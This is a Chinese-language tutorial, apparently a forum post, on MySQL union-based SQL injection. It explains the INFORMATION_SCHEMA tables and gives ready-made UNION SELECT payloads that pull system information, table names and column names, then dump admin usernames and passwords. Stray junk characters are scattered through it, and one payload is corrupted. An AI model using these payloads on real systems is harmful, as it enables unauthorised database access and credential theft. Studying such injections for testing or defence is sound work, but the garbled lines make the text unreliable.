mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
4 d6 K/ c. [9 E! h+ v" {
6 t  X' Z) j9 q# ], r学习盲注前先了解下 IFORMATION_SCHEMA 库

4 T! H  t& g7 d" S1 y0 E( tMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
0 S* A) v; c* s6 s|---字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
5 A2 H( v/ _+ y/ b/ Q3 o3 h) F  Z5 ||---字段：TABLE_NAME ->存储表的表名
0 r. r9 m& m5 m' E
+ P) a1 ^& L$ |- l6 t|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称

! ?. a+ Z; |% S# T|---字段：COLUMN_NAME ->该字段的名称


" Q0 E! ~! `9 Q8 X( Q4 H! s
1 G0 B  L6 f3 y) c; y###########################################################################

0x001 获取系统信息:

/ Z% ~* N- v+ U- Y( }1 junion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

* i: t4 y5 O9 v/*
- `3 R' c6 }; P4 w9 z
@@global.version_compile_os 获取系统版本
) G: D6 d" g) w6 v
, i8 F- B3 t) v@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值
* J2 g. h7 ~8 p4 R) ?) f# E
, y7 z3 M( R) I*/


- U7 C' b; P6 w) y% G  [& `
######################################################################

6 Z, W( k+ Q' Q: b0x002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
4 i& m$ @6 W$ X: L& H
, D* b' F( i3 _2 u: s5 G- H
; R2 V  C0 f& o9 L
/*
. `2 Q& g# C0 E" ?, h" ~2 q
0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

, e  f$ B9 o. K6 D7 M" C*/

. r1 B* R1 ?& \######################################################################
8 c8 u" C' Z7 l8 L+ p


9 P! J! y/ k' v* |3 q8 H1 A( ^0x003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
/ q  m/ o; _* c
% I9 k% i# ?& W; r/*
- r# G4 `; @2 s, g. }
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表
# M3 X& m2 C! p3 o
0x67617264656e ->数据库名

*/

4 l4 ^+ ?& L9 _% N#####################################################################

1 n6 S1 J7 u, Z% h' B
0 [, v/ \7 _& [8 C  D
0x004 获取数据

( g! u" ^9 Q( q1 ?$ Funion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
* z- O" K  K2 s" `# O- b6 G; v
) e$ D6 x0 j9 C7 uunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
" s! B& ?5 h1 E2 D


/*

  w- |" f1 {3 ?% M( j& l# [- a5 t0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据
+ k" n6 |* c3 T1 [8 o" K
8 N- F: u/ _: h7 f$ \8 A, Q*/
0 L8 M; |1 N6 p2 }
- S7 b+ d# Z0 G% u0 A- m8 K. G6 p3 ~